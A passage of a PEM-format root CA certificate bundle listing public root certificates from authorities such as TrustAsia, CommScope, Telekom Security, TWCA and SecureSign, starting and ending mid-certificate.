lZHFZjtqz6xjbYdT8PfxObegQ2OwxANdV6nnRM7EoYNl9lA+sX4WuDqKAtCWHwDNBSHvBm3dIZwZ
Q0WhxeiAysKtQGIXBsaqvPPW5vxQfmZCHzyLpnl5hkA1nyDvP+uLRx+PjsXUjrYsyUQE49RDdT/V
P68czH5GX6zfZBCK70bwkPAPLfSIC7Epqq+FqklYqL9joDiR5rPmd2jE+SoZhLsO4fWvieylL1Ag
dB4SQXMeJNnKziyhWTXAyB1GJ2Faj/lN03J5Zh6fFZAhLf3ti1ZwA0pJPn9pMRJpxx5cynoTi+jm
9WAPzJMshH/x/Gr8m0ed262IPfN2dTPXS6TIi/n1Q1hPy8gDVI+lhXgEGvNz8teHHUGf59gXzhqc
D0r83ERoVGjiQTz+LISGNzzNPy+i2+f3VANfWdP3kXjHi3dqFuVJhZBFcnAvkV34PmVACxmZySYg
WmjBNb9Pp1Hx2BErW+Canig7CjoKH8GB5S7wprlppYiU5msTf9FkPz2ccEblooV7WIQn3MSAPmea
mseaMQ4w7OYXQJXZRe0Blqq/DPNL0WP3E1jAuPP6Z92bfW1K/zJMtSU7/xxnD4UiWQWRkUF3gdCF
TIcQcf+eQxuulXUtgQIDAQABo2MwYTAPBgNVHRMBAf8EBTADAQH/MB8GA1UdIwQYMBaAFEDk5PIj
7zjKsK5Xf/IhMBY027ySMB0GA1UdDgQWBBRA5OTyI+84yrCuV3/yITAWNNu8kjAOBgNVHQ8BAf8E
BAMCAQYwDQYJKoZIhvcNAQEMBQADggIBACY7UeFNOPMyGLS0XuFlXsSUT9SnYaP4wM8zAQLpw6o1
D/GUE3d3NZ4tVlFEbuHGLige/9rsR82XRBf34EzC4Xx8MnpmyFq2XFNFV1pF1AWZLy4jVe5jaN/T
G3inEpQGAHUNcoTpLrxaatXeL1nHo+zSh2bbt1S1JKv0Q3jbSwTEb93mPmY+KfJLaHEih6D4sTNj
duMNhXJEIlU/HHzp/LgV6FL6qj6jITk1dImmasI5+njPtqzn59ZW/yOSLlALqbUHM/Q4X6RJpstl
cHboCoWASzY9M/eVVHUl2qzEc4Jl6VL1XP04lQJqaTDFHApXB64ipCz5xUG3uOyfT0gA+QEEVcys
+TIxxHWVBqB/0Y0n3bOppHKH/lmLmnp0Ft0WpWIp6zqW3IunaFnT63eROfjXy9mPX1onAX1daBli
2MjN9LdyR75bl87yraKZk62Uy5P2EgmVtqvXO9A/EcswFi55gORngS1d7XB4tmBZrOFdRWOPyN9y
aFvqHbgB8X7754qz41SgOAngPN5C8sLtLpvzHzW2NtjjgKGLzZlkD8Kqq7HK9W+eQ42EVJmzbsAS
ZthwEPEGNTNDqJwuuhQxzhB/HIbjj9LV+Hfsm6vxL2PZQl/gZ4FkkfGXL/xuJvYz+NO1+MRiqzFR
JQJ6+N1rZdVtTTDIZbpoFGWsJwt0ivKH
-----END CERTIFICATE-----

TrustAsia Global Root CA G4
===========================
-----BEGIN CERTIFICATE-----
MIICVTCCAdygAwIBAgIUTyNkuI6XY57GU4HBdk7LKnQV1tcwCgYIKoZIzj0EAwMwWjELMAkGA1UE
BhMCQ04xJTAjBgNVBAoMHFRydXN0QXNpYSBUZWNobm9sb2dpZXMsIEluYy4xJDAiBgNVBAMMG1Ry
dXN0QXNpYSBHbG9iYWwgUm9vdCBDQSBHNDAeFw0yMTA1MjAwMjEwMjJaFw00NjA1MTkwMjEwMjJa
MFoxCzAJBgNVBAYTAkNOMSUwIwYDVQQKDBxUcnVzdEFzaWEgVGVjaG5vbG9naWVzLCBJbmMuMSQw
IgYDVQQDDBtUcnVzdEFzaWEgR2xvYmFsIFJvb3QgQ0EgRzQwdjAQBgcqhkjOPQIBBgUrgQQAIgNi
AATxs8045CVD5d4ZCbuBeaIVXxVjAd7Cq92zphtnS4CDr5nLrBfbK5bKfFJV4hrhPVbwLxYI+hW8
m7tH5j/uqOFMjPXTNvk4XatwmkcN4oFBButJ+bAp3TPsUKV/eSm4IJijYzBhMA8GA1UdEwEB/wQF
MAMBAf8wHwYDVR0jBBgwFoAUpbtKl86zK3+kMd6Xg1mDpm9xy94wHQYDVR0OBBYEFKW7SpfOsyt/
pDHel4NZg6ZvccveMA4GA1UdDwEB/wQEAwIBBjAKBggqhkjOPQQDAwNnADBkAjBe8usGzEkxn0AA
bbd+NvBNEU/zy4k6LHiRUKNbwMp1JvK/kF0LgoxgKJ/GcJpo5PECMFxYDlZ2z1jD1xCMuo6u47xk
dUfFVZDj/bpV6wfEU6s3qe4hsiFbYI89MvHVI5TWWA==
-----END CERTIFICATE-----

CommScope Public Trust ECC Root-01
==================================
-----BEGIN CERTIFICATE-----
MIICHTCCAaOgAwIBAgIUQ3CCd89NXTTxyq4yLzf39H91oJ4wCgYIKoZIzj0EAwMwTjELMAkGA1UE
BhMCVVMxEjAQBgNVBAoMCUNvbW1TY29wZTErMCkGA1UEAwwiQ29tbVNjb3BlIFB1YmxpYyBUcnVz
dCBFQ0MgUm9vdC0wMTAeFw0yMTA0MjgxNzM1NDNaFw00NjA0MjgxNzM1NDJaME4xCzAJBgNVBAYT
AlVTMRIwEAYDVQQKDAlDb21tU2NvcGUxKzApBgNVBAMMIkNvbW1TY29wZSBQdWJsaWMgVHJ1c3Qg
RUNDIFJvb3QtMDEwdjAQBgcqhkjOPQIBBgUrgQQAIgNiAARLNumuV16ocNfQj3Rid8NeeqrltqLx
eP0CflfdkXmcbLlSiFS8LwS+uM32ENEp7LXQoMPwiXAZu1FlxUOcw5tjnSCDPgYLpkJEhRGnSjot
6dZoL0hOUysHP029uax3OVejQjBAMA8GA1UdEwEB/wQFMAMBAf8wDgYDVR0PAQH/BAQDAgEGMB0G
A1UdDgQWBBSOB2LAUN3GGQYARnQE9/OufXVNMDAKBggqhkjOPQQDAwNoADBlAjEAnDPfQeMjqEI2
Jpc1XHvr20v4qotzVRVcrHgpD7oh2MSg2NED3W3ROT3Ek2DS43KyAjB8xX6I01D1HiXo+k515liW
pDVfG2XqYZpwI7UNo5uSUm9poIyNStDuiw7LR47QjRE=
-----END CERTIFICATE-----

CommScope Public Trust ECC Root-02
==================================
-----BEGIN CERTIFICATE-----
MIICHDCCAaOgAwIBAgIUKP2ZYEFHpgE6yhR7H+/5aAiDXX0wCgYIKoZIzj0EAwMwTjELMAkGA1UE
BhMCVVMxEjAQBgNVBAoMCUNvbW1TY29wZTErMCkGA1UEAwwiQ29tbVNjb3BlIFB1YmxpYyBUcnVz
dCBFQ0MgUm9vdC0wMjAeFw0yMTA0MjgxNzQ0NTRaFw00NjA0MjgxNzQ0NTNaME4xCzAJBgNVBAYT
AlVTMRIwEAYDVQQKDAlDb21tU2NvcGUxKzApBgNVBAMMIkNvbW1TY29wZSBQdWJsaWMgVHJ1c3Qg
RUNDIFJvb3QtMDIwdjAQBgcqhkjOPQIBBgUrgQQAIgNiAAR4MIHoYx7l63FRD/cHB8o5mXxO1Q/M
MDALj2aTPs+9xYa9+bG3tD60B8jzljHz7aRP+KNOjSkVWLjVb3/ubCK1sK9IRQq9qEmUv4RDsNuE
SgMjGWdqb8FuvAY5N9GIIvejQjBAMA8GA1UdEwEB/wQFMAMBAf8wDgYDVR0PAQH/BAQDAgEGMB0G
A1UdDgQWBBTmGHX/72DehKT1RsfeSlXjMjZ59TAKBggqhkjOPQQDAwNnADBkAjAmc0l6tqvmSfR9
Uj/UQQSugEODZXW5hYA4O9Zv5JOGq4/nich/m35rChJVYaoR4HkCMHfoMXGsPHED1oQmHhS48zs7
3u1Z/GtMMH9ZzkXpc2AVmkzw5l4lIhVtwodZ0LKOag==
-----END CERTIFICATE-----

CommScope Public Trust RSA Root-01
==================================
-----BEGIN CERTIFICATE-----
MIIFbDCCA1SgAwIBAgIUPgNJgXUWdDGOTKvVxZAplsU5EN0wDQYJKoZIhvcNAQELBQAwTjELMAkG
A1UEBhMCVVMxEjAQBgNVBAoMCUNvbW1TY29wZTErMCkGA1UEAwwiQ29tbVNjb3BlIFB1YmxpYyBU
cnVzdCBSU0EgUm9vdC0wMTAeFw0yMTA0MjgxNjQ1NTRaFw00NjA0MjgxNjQ1NTNaME4xCzAJBgNV
BAYTAlVTMRIwEAYDVQQKDAlDb21tU2NvcGUxKzApBgNVBAMMIkNvbW1TY29wZSBQdWJsaWMgVHJ1
c3QgUlNBIFJvb3QtMDEwggIiMA0GCSqGSIb3DQEBAQUAA4ICDwAwggIKAoICAQCwSGWjDR1C45Ft
nYSkYZYSwu3D2iM0GXb26v1VWvZVAVMP8syMl0+5UMuzAURWlv2bKOx7dAvnQmtVzslhsuitQDy6
uUEKBU8bJoWPQ7VAtYXR1HHcg0Hz9kXHgKKEUJdGzqAMxGBWBB0HW0alDrJLpA6lfO741GIDuZNq
ihS4cPgugkY4Iw50x2tBt9Apo52AsH53k2NC+zSDO3OjWiE260f6GBfZumbCk6SP/F2krfxQapWs
vCQz0b2If4b19bJzKo98rwjyGpg/qYFlP8GMicWWMJoKz/TUyDTtnS+8jTiGU+6Xn6myY5QXjQ/c
Zip8UlF1y5mO6D1cv547KI2DAg+pn3LiLCuz3GaXAEDQpFSOm117RTYm1nJD68/A6g3czhLmfTif
BSeolz7pUcZsBSjBAg/pGG3svZwG1KdJ9FQFa2ww8esD1eo9anbCyxooSU1/ZOD6K9pzg4H/kQO9
lLvkuI6cMmPNn7togbGEW682v3fuHX/3SZtS7NJ3Wn2RnU3COS3kuoL4b/JOHg9O5j9ZpSPcPYeo
KFgo0fEbNttPxP/hjFtyjMcmAyejOQoBqsCyMWCDIqFPEgkBEa801M/XrmLTBQe0MXXgDW1XT2mH
+VepuhX2yFJtocucH+X8eKg1mp9BFM6ltM6UCBwJrVbl2rZJmkrqYxhTnCwuwwIDAQABo0IwQDAP
BgNVHRMBAf8EBTADAQH/MA4GA1UdDwEB/wQEAwIBBjAdBgNVHQ4EFgQUN12mmnQywsL5x6YVEFm4
5P3luG0wDQYJKoZIhvcNAQELBQADggIBAK+nz97/4L1CjU3lIpbfaOp9TSp90K09FlxD533Ahuh6
NWPxzIHIxgvoLlI1pKZJkGNRrDSsBTtXAOnTYtPZKdVUvhwQkZyybf5Z/Xn36lbQnmhUQo8mUuJM
3y+Xpi/SB5io82BdS5pYV4jvguX6r2yBS5KPQJqTRlnLX3gWsWc+QgvfKNmwrZggvkN80V4aCRck
jXtdlemrwWCrWxhkgPut4AZ9HcpZuPN4KWfGVh2vtrV0KnahP/t1MJ+UXjulYPPLXAziDslg+Mkf
Foom3ecnf+slpoq9uC02EJqxWE2aaE9gVOX2RhOOiKy8IUISrcZKiX2bwdgt6ZYD9KJ0DLwAHb/W
NyVntHKLr4W96ioDj8z7PEQkguIBpQtZtjSNMgsSDesnwv1B10A8ckYpwIzqug/xBpMu95yo9GA+
o/E4Xo4TwbM6l4c/ksp4qRyv0LAbJh6+cOx69TOY6lz/KwsETkPdY34Op054A5U+1C0wlREQKC6/
oAI+/15Z0wUOlV9TRe9rh9VIzRamloPh37MG88EU26fsHItdkJANclHnYfkUyq+Dj7+vsQpZXdxc
1+SWrVtgHdqul7I52Qb1dgAT+GhMIbA1xNxVssnBQVocicCMb3SgazNNtQEo/a2tiRc7ppqEvOuM
6sRxJKi6KfkIsidWNTJf6jn7MZrVGczw
-----END CERTIFICATE-----

CommScope Public Trust RSA Root-02
==================================
-----BEGIN CERTIFICATE-----
MIIFbDCCA1SgAwIBAgIUVBa/O345lXGN0aoApYYNK496BU4wDQYJKoZIhvcNAQELBQAwTjELMAkG
A1UEBhMCVVMxEjAQBgNVBAoMCUNvbW1TY29wZTErMCkGA1UEAwwiQ29tbVNjb3BlIFB1YmxpYyBU
cnVzdCBSU0EgUm9vdC0wMjAeFw0yMTA0MjgxNzE2NDNaFw00NjA0MjgxNzE2NDJaME4xCzAJBgNV
BAYTAlVTMRIwEAYDVQQKDAlDb21tU2NvcGUxKzApBgNVBAMMIkNvbW1TY29wZSBQdWJsaWMgVHJ1
c3QgUlNBIFJvb3QtMDIwggIiMA0GCSqGSIb3DQEBAQUAA4ICDwAwggIKAoICAQDh+g77aAASyE3V
rCLENQE7xVTlWXZjpX/rwcRqmL0yjReA61260WI9JSMZNRTpf4mnG2I81lDnNJUDMrG0kyI9p+Kx
7eZ7Ti6Hmw0zdQreqjXnfuU2mKKuJZ6VszKWpCtYHu8//mI0SFHRtI1CrWDaSWqVcN3SAOLMV2MC
e5bdSZdbkk6V0/nLKR8YSvgBKtJjCW4k6YnS5cciTNxzhkcAqg2Ijq6FfUrpuzNPDlJwnZXjfG2W
Wy09X6GDRl224yW4fKcZgBzqZUPckXk2LHR88mcGyYnJ27/aaL8j7dxrrSiDeS/sOKUNNwFnJ5rp
M9kzXzehxfCrPfp4sOcsn/Y+n2Dg70jpkEUeBVF4GiwSLFworA2iI540jwXmojPOEXcT1A6kHkIf
hs1w/tkuFT0du7jyU1fbzMZ0KZwYszZ1OC4PVKH4kh+Jlk+71O6d6Ts2QrUKOyrUZHk2EOH5kQMr
eyBUzQ0ZGshBMjTRsJnhkB4BQDa1t/qp5Xd1pCKBXbCL5CcSD1SIxtuFdOa3wNemKfrb3vOTlycE
VS8KbzfFPROvCgCpLIscgSjX74Yxqa7ybrjKaixUR9gqiC6vwQcQeKwRoi9C8DfF8rhW3Q5iLc4t
Vn5V8qdE9isy9COoR+jUKgF4z2rDN6ieZdIs5fq6M8EGRPbmz6UNp2YINIos8wIDAQABo0IwQDAP
BgNVHRMBAf8EBTADAQH/MA4GA1UdDwEB/wQEAwIBBjAdBgNVHQ4EFgQUR9DnsSL/nSz12Vdgs7Gx
cJXvYXowDQYJKoZIhvcNAQELBQADggIBAIZpsU0v6Z9PIpNojuQhmaPORVMbc0RTAIFhzTHjCLqB
KCh6krm2qMhDnscTJk3C2OVVnJJdUNjCK9v+5qiXz1I6JMNlZFxHMaNlNRPDk7n3+VGXu6TwYofF
1gbTl4MgqX67tiHCpQ2EAOHyJxCDut0DgdXdaMNmEMjRdrSzbymeAPnCKfWxkxlSaRosTKCL4BWa
MS/TiJVZbuXEs1DIFAhKm4sTg7GkcrI7djNB3NyqpgdvHSQSn8h2vS/ZjvQs7rfSOBAkNlEv41xd
gSGn2rtO/+YHqP65DSdsu3BaVXoT6fEqSWnHX4dXTEN5bTpl6TBcQe7rd6VzEojov32u5cSoHw2O
HG1QAk8mGEPej1WFsQs3BWDJVTkSBKEqz3EWnzZRSb9wO55nnPt7eck5HHisd5FUmrh1CoFSl+Nm
YWvtPjgelmFV4ZFUjO2MJB+ByRCac5krFk5yAD9UG/iNuovnFNa2RU9g7Jauwy8CTl2dlklyALKr
dVwPaFsdZcJfMw8eD/A7hvWwTruc9+olBdytoptLFwG+Qt81IR2tq670v64fG9PiO/yzcnMcmyiQ
iRM9HcEARwmWmjgb3bHPDcK0RPOWlc4yOo80nOAXx17Org3bhzjlP1v9mxnhMUF6cKojawHhRUzN
lM47ni3niAIi9G7oyOzWPPO5std3eqx7
-----END CERTIFICATE-----

Telekom Security TLS ECC Root 2020
==================================
-----BEGIN CERTIFICATE-----
MIICQjCCAcmgAwIBAgIQNjqWjMlcsljN0AFdxeVXADAKBggqhkjOPQQDAzBjMQswCQYDVQQGEwJE
RTEnMCUGA1UECgweRGV1dHNjaGUgVGVsZWtvbSBTZWN1cml0eSBHbWJIMSswKQYDVQQDDCJUZWxl
a29tIFNlY3VyaXR5IFRMUyBFQ0MgUm9vdCAyMDIwMB4XDTIwMDgyNTA3NDgyMFoXDTQ1MDgyNTIz
NTk1OVowYzELMAkGA1UEBhMCREUxJzAlBgNVBAoMHkRldXRzY2hlIFRlbGVrb20gU2VjdXJpdHkg
R21iSDErMCkGA1UEAwwiVGVsZWtvbSBTZWN1cml0eSBUTFMgRUNDIFJvb3QgMjAyMDB2MBAGByqG
SM49AgEGBSuBBAAiA2IABM6//leov9Wq9xCazbzREaK9Z0LMkOsVGJDZos0MKiXrPk/OtdKPD/M1
2kOLAoC+b1EkHQ9rK8qfwm9QMuU3ILYg/4gND21Ju9sGpIeQkpT0CdDPf8iAC8GXs7s1J8nCG6NC
MEAwHQYDVR0OBBYEFONyzG6VmUex5rNhTNHLq+O6zd6fMA8GA1UdEwEB/wQFMAMBAf8wDgYDVR0P
AQH/BAQDAgEGMAoGCCqGSM49BAMDA2cAMGQCMHVSi7ekEE+uShCLsoRbQuHmKjYC2qBuGT8lv9pZ
Mo7k+5Dck2TOrbRBR2Diz6fLHgIwN0GMZt9Ba9aDAEH9L1r3ULRn0SyocddDypwnJJGDSA3PzfdU
ga/sf+Rn27iQ7t0l
-----END CERTIFICATE-----

Telekom Security TLS RSA Root 2023
==================================
-----BEGIN CERTIFICATE-----
MIIFszCCA5ugAwIBAgIQIZxULej27HF3+k7ow3BXlzANBgkqhkiG9w0BAQwFADBjMQswCQYDVQQG
EwJERTEnMCUGA1UECgweRGV1dHNjaGUgVGVsZWtvbSBTZWN1cml0eSBHbWJIMSswKQYDVQQDDCJU
ZWxla29tIFNlY3VyaXR5IFRMUyBSU0EgUm9vdCAyMDIzMB4XDTIzMDMyODEyMTY0NVoXDTQ4MDMy
NzIzNTk1OVowYzELMAkGA1UEBhMCREUxJzAlBgNVBAoMHkRldXRzY2hlIFRlbGVrb20gU2VjdXJp
dHkgR21iSDErMCkGA1UEAwwiVGVsZWtvbSBTZWN1cml0eSBUTFMgUlNBIFJvb3QgMjAyMzCCAiIw
DQYJKoZIhvcNAQEBBQADggIPADCCAgoCggIBAO01oYGA88tKaVvC+1GDrib94W7zgRJ9cUD/h3VC
KSHtgVIs3xLBGYSJwb3FKNXVS2xE1kzbB5ZKVXrKNoIENqil/Cf2SfHVcp6R+SPWcHu79ZvB7JPP
GeplfohwoHP89v+1VmLhc2o0mD6CuKyVU/QBoCcHcqMAU6DksquDOFczJZSfvkgdmOGjup5czQRx
UX11eKvzWarE4GC+j4NSuHUaQTXtvPM6Y+mpFEXX5lLRbtLevOP1Czvm4MS9Q2QTps70mDdsipWo
l8hHD/BeEIvnHRz+sTugBTNoBUGCwQMrAcjnj02r6LX2zWtEtefdi+zqJbQAIldNsLGyMcEWzv/9
FIS3R/qy8XDe24tsNlikfLMR0cN3f1+2JeANxdKz+bi4d9s3cXFH42AYTyS2dTd4uaNir73Jco4v
zLuu2+QVUhkHM/tqty1LkCiCc/4YizWN26cEar7qwU02OxY2kTLvtkCJkUPg8qKrBC7m8kwOFjQg
rIfBLX7JZkcXFBGk8/ehJImr2BrIoVyxo/eMbcgByU/J7MT8rFEz0ciD0cmfHdRHNCk+y7AO+oML
KFjlKdw/fKifybYKu6boRhYPluV75Gp6SG12mAWl3G0eQh5C2hrgUve1g8Aae3g1LDj1H/1Joy7S
WWO/gLCMk3PLNaaZlSJhZQNg+y+TS/qanIA7AgMBAAGjYzBhMA4GA1UdDwEB/wQEAwIBBjAdBgNV
HQ4EFgQUtqeXgj10hZv3PJ+TmpV5dVKMbUcwDwYDVR0TAQH/BAUwAwEB/zAfBgNVHSMEGDAWgBS2
p5eCPXSFm/c8n5OalXl1UoxtRzANBgkqhkiG9w0BAQwFAAOCAgEAqMxhpr51nhVQpGv7qHBFfLp+
sVr8WyP6Cnf4mHGCDG3gXkaqk/QeoMPhk9tLrbKmXauw1GLLXrtm9S3ul0A8Yute1hTWjOKWi0Fp
kzXmuZlrYrShF2Y0pmtjxrlO8iLpWA1WQdH6DErwM807u20hOq6OcrXDSvvpfeWxm4bu4uB9tPcy
/SKE8YXJN3nptT+/XOR0so8RYgDdGGah2XsjX/GO1WfoVNpbOms2b/mBsTNHM3dA+VKq3dSDz4V4
mZqTuXNnQkYRIer+CqkbGmVps4+uFrb2S1ayLfmlyOw7YqPta9BO1UAJpB+Y1zqlklkg5LB9zVtz
aL1txKITDmcZuI1CfmwMmm6gJC3VRRvcxAIU/oVbZZfKTpBQCHpCNfnqwmbU+AGuHrS+w6jv/naa
oqYfRvaE7fzbzsQCzndILIyy7MMAo+wsVRjBfhnu4S/yrYObnqsZ38aKL4x35bcF7DvB7L6Gs4a8
wPfc5+pbrrLMtTWGS9DiP7bY+A4A7l3j941Y/8+LN+ljX273CXE2whJdV/LItM3z7gLfEdxquVeE
HVlNjM7IDiPCtyaaEBRx/pOyiriA8A4QntOoUAw3gi/q4Iqd4Sw5/7W0cwDk90imc6y/st53BIe0
o82bNSQ3+pCTE4FCxpgmdTdmQRCsu/WU48IxK63nI1bMNSWSs1A=
-----END CERTIFICATE-----

FIRMAPROFESIONAL CA ROOT-A WEB
==============================
-----BEGIN CERTIFICATE-----
MIICejCCAgCgAwIBAgIQMZch7a+JQn81QYehZ1ZMbTAKBggqhkjOPQQDAzBuMQswCQYDVQQGEwJF
UzEcMBoGA1UECgwTRmlybWFwcm9mZXNpb25hbCBTQTEYMBYGA1UEYQwPVkFURVMtQTYyNjM0MDY4
MScwJQYDVQQDDB5GSVJNQVBST0ZFU0lPTkFMIENBIFJPT1QtQSBXRUIwHhcNMjIwNDA2MDkwMTM2
WhcNNDcwMzMxMDkwMTM2WjBuMQswCQYDVQQGEwJFUzEcMBoGA1UECgwTRmlybWFwcm9mZXNpb25h
bCBTQTEYMBYGA1UEYQwPVkFURVMtQTYyNjM0MDY4MScwJQYDVQQDDB5GSVJNQVBST0ZFU0lPTkFM
IENBIFJPT1QtQSBXRUIwdjAQBgcqhkjOPQIBBgUrgQQAIgNiAARHU+osEaR3xyrq89Zfe9MEkVz6
iMYiuYMQYneEMy3pA4jU4DP37XcsSmDq5G+tbbT4TIqk5B/K6k84Si6CcyvHZpsKjECcfIr28jlg
st7L7Ljkb+qbXbdTkBgyVcUgt5SjYzBhMA8GA1UdEwEB/wQFMAMBAf8wHwYDVR0jBBgwFoAUk+FD
Y1w8ndYn81LsF7Kpryz3dvgwHQYDVR0OBBYEFJPhQ2NcPJ3WJ/NS7Beyqa8s93b4MA4GA1UdDwEB
/wQEAwIBBjAKBggqhkjOPQQDAwNoADBlAjAdfKR7w4l1M+E7qUW/Runpod3JIha3RxEL2Jq68cgL
cFBTApFwhVmpHqTm6iMxoAACMQD94vizrxa5HnPEluPBMBnYfubDl94cT7iJLzPrSA8Z94dGXSaQ
pYXFuXqUPoeovQA=
-----END CERTIFICATE-----

TWCA CYBER Root CA
==================
-----BEGIN CERTIFICATE-----
MIIFjTCCA3WgAwIBAgIQQAE0jMIAAAAAAAAAATzyxjANBgkqhkiG9w0BAQwFADBQMQswCQYDVQQG
EwJUVzESMBAGA1UEChMJVEFJV0FOLUNBMRAwDgYDVQQLEwdSb290IENBMRswGQYDVQQDExJUV0NB
IENZQkVSIFJvb3QgQ0EwHhcNMjIxMTIyMDY1NDI5WhcNNDcxMTIyMTU1OTU5WjBQMQswCQYDVQQG
EwJUVzESMBAGA1UEChMJVEFJV0FOLUNBMRAwDgYDVQQLEwdSb290IENBMRswGQYDVQQDExJUV0NB
IENZQkVSIFJvb3QgQ0EwggIiMA0GCSqGSIb3DQEBAQUAA4ICDwAwggIKAoICAQDG+Moe2Qkgfh1s
Ts6P40czRJzHyWmqOlt47nDSkvgEs1JSHWdyKKHfi12VCv7qze33Kc7wb3+szT3vsxxFavcokPFh
V8UMxKNQXd7UtcsZyoC5dc4pztKFIuwCY8xEMCDa6pFbVuYdHNWdZsc/34bKS1PE2Y2yHer43CdT
o0fhYcx9tbD47nORxc5zb87uEB8aBs/pJ2DFTxnk684iJkXXYJndzk834H/nY62wuFm40AZoNWDT
Nq5xQwTxaWV4fPMf88oon1oglWa0zbfuj3ikRRjpJi+NmykosaS3Om251Bw4ckVYsV7r8Cibt4LK
/c/WMw+f+5eesRycnupfXtuq3VTpMCEobY5583WSjCb+3MX2w7DfRFlDo7YDKPYIMKoNM+HvnKkH
IuNZW0CP2oi3aQiotyMuRAlZN1vH4xfyIutuOVLF3lSnmMlLIJXcRolftBL5hSmO68gnFSDAS9TM
fAxsNAwmmyYxpjyn9tnQS6Jk/zuZQXLB4HCX8SS7K8R0IrGsayIyJNN4KsDAoS/xUgXJP+92ZuJF
2A09rZXIx4kmyA+upwMu+8Ff+iDhcK2wZSA3M2Cw1a/XDBzCkHDXShi8fgGwsOsVHkQGzaRP6AzR
wyAQ4VRlnrZR0Bp2a0JaWHY06rc3Ga4udfmW5cFZ95RXKSWNOkyrTZpB0F8mAwIDAQABo2MwYTAO
BgNVHQ8BAf8EBAMCAQYwDwYDVR0TAQH/BAUwAwEB/zAfBgNVHSMEGDAWgBSdhWEUfMFib5do5E83
QOGt4A1WNzAdBgNVHQ4EFgQUnYVhFHzBYm+XaORPN0DhreANVjcwDQYJKoZIhvcNAQEMBQADggIB
AGSPesRiDrWIzLjHhg6hShbNcAu3p4ULs3a2D6f/CIsLJc+o1IN1KriWiLb73y0ttGlTITVX1olN
c79pj3CjYcya2x6a4CD4bLubIp1dhDGaLIrdaqHXKGnK/nZVekZn68xDiBaiA9a5F/gZbG0jAn/x
X9AKKSM70aoK7akXJlQKTcKlTfjF/biBzysseKNnTKkHmvPfXvt89YnNdJdhEGoHK4Fa0o635yDR
IG4kqIQnoVesqlVYL9zZyvpoBJ7tRCT5dEA7IzOrg1oYJkK2bVS1FmAwbLGg+LhBoF1JSdJlBTrq
/p1hvIbZv97Tujqxf36SNI7JAG7cmL3c7IAFrQI932XtCwP39xaEBDG6k5TY8hL4iuO/Qq+n1M0R
FxbIQh0UqEL20kCGoE8jypZFVmAGzbdVAaYBlGX+bgUJurSkquLvWL69J1bY73NxW0Qz8ppy6rBe
Pm6pUlvscG21h483XjyMnM7k8M4MZ0HMzvaAq07MTFb1wWFZk7Q+ptq4NxKfKjLji7gh7MMrZQzv
It6IKTtM1/r+t+FHvpw+PoP7UV31aPcuIYXcv/Fa4nzXxeSDwWrruoBa3lwtcHb4yOWHh8qgnaHl
IhInD0Q9HWzq1MKLL295q39QpsQZp6F6t5b5wR9iWqJDB0BeJsas7a5wFsWqynKKTbDPAYsDP27X
-----END CERTIFICATE-----

SecureSign Root CA12
====================
-----BEGIN CERTIFICATE-----
MIIDcjCCAlqgAwIBAgIUZvnHwa/swlG07VOX5uaCwysckBYwDQYJKoZIhvcNAQELBQAwUTELMAkG
A1UEBhMCSlAxIzAhBgNVBAoTGkN5YmVydHJ1c3QgSmFwYW4gQ28uLCBMdGQuMR0wGwYDVQQDExRT
ZWN1cmVTaWduIFJvb3QgQ0ExMjAeFw0yMDA0MDgwNTM2NDZaFw00MDA0MDgwNTM2NDZaMFExCzAJ
BgNVBAYTAkpQMSMwIQYDVQQKExpDeWJlcnRydXN0IEphcGFuIENvLiwgTHRkLjEdMBsGA1UEAxMU
U2VjdXJlU2lnbiBSb290IENBMTIwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQC6OcE3
emhFKxS06+QT61d1I02PJC0W6K6OyX2kVzsqdiUzg2zqMoqUm048luT9Ub+ZyZN+v/mtp7JIKwcc
J/VMvHASd6SFVLX9kHrko+RRWAPNEHl57muTH2SOa2SroxPjcf59q5zdJ1M3s6oYwlkm7Fsf0uZl
fO+TvdhYXAvA42VvPMfKWeP+bl+sg779XSVOKik71gurFzJ4pOE+lEa+Ym6b3kaosRbnhW70CEBF
EaCeVESE99g2zvVQR9wsMJvuwPWW0v4JhscGWa5Pro4RmHvzC1KqYiaqId+OJTN5lxZJjfU+1Uef
NzFJM3IFTQy2VYzxV4+Kh9GtxRESOaCtAgMBAAGjQjBAMA8GA1UdEwEB/wQFMAMBAf8wDgYDVR0P
AQH/BAQDAgEGMB0GA1UdDgQWBBRXNPN0zwRL1SXm8UC2LEzZLemgrTANBgkqhkiG9w0BAQsFAAOC
AQEAPrvbFxbS8hQBICw4g0utvsqFepq2m2um4fylOqyttCg6r9cBg0krY6LdmmQOmFxv3Y67ilQi
LUoT865AQ9tPkbeGGuwAtEGBpE/6aouIs3YIcipJQMPTw4WJmBClnW8Zt7vPemVV2zfrPIpyMpce
mik+rY3moxtt9XUa5rBouVui7mlHJzWhhpmA8zNL4WukJsPvdFlseqJkth5Ew1DgDzk9qTPxpfPS
vWKErI4cqc1avTc7bgoitPQV55FYxTpE05Uo2cBl6XLK0A+9H7MV2anjpEcJnuDLN/v9vZfVvhga
aaI5gdka9at/yOPiZwud9AzqVN/Ssq+xIvEg37xEHA==
-----END CERTIFICATE-----

SecureSign Root CA14
====================
-----BEGIN CERTIFICATE-----
MIIFcjCCA1qgAwIBAgIUZNtaDCBO6Ncpd8hQJ6JaJ90t8sswDQYJKoZIhvcNAQEMBQAwUTELMAkG
A1UEBhMCSlAxIzAhBgNVBAoTGkN5YmVydHJ1c3QgSmFwYW4gQ28uLCBMdGQuMR0wGwYDVQQDExRT
ZWN1cmVTaWduIFJvb3QgQ0ExNDAeFw0yMDA0MDgwNzA2MTlaFw00NTA0MDgwNzA2MTlaMFExCzAJ
BgNVBAYTAkpQMSMwIQYDVQQKExpDeWJlcnRydXN0IEphcGFuIENvLiwgTHRkLjEdMBsGA1UEAxMU
U2VjdXJlU2lnbiBSb290IENBMTQwggIiMA0GCSqGSIb3DQEBAQUAA4ICDwAwggIKAoICAQDF0nqh
1oq/FjHQmNE6lPxauG4iwWL3pwon71D2LrGeaBLwbCRjOfHw3xDG3rdSINVSW0KZnvOgvlIfX8xn
bacuUKLBl422+JX1sLrcneC+y9/3OPJH9aaakpUqYllQC6KxNedlsmGy6pJxaeQp8E+BgQQ8sqVb
1MWoWWd7VRxJq3qdwudzTe/NCcLEVxLbAQ4jeQkHO6Lo/IrPj8BGJJw4J+CDnRugv3gVEOuGTgpa
/d/aLIJ+7sr2KeH6caH3iGicnPCNvg9JkdjqOvn90Ghx2+m1K06Ckm9mH+Dw3EzsytHqunQG+bOE
kJTRX45zGRBdAuVwpcAQ0BB8b8VYSbSwbprafZX1zNoCr7gsfXmPvkPx+SgojQlD+Ajda8iLLCSx
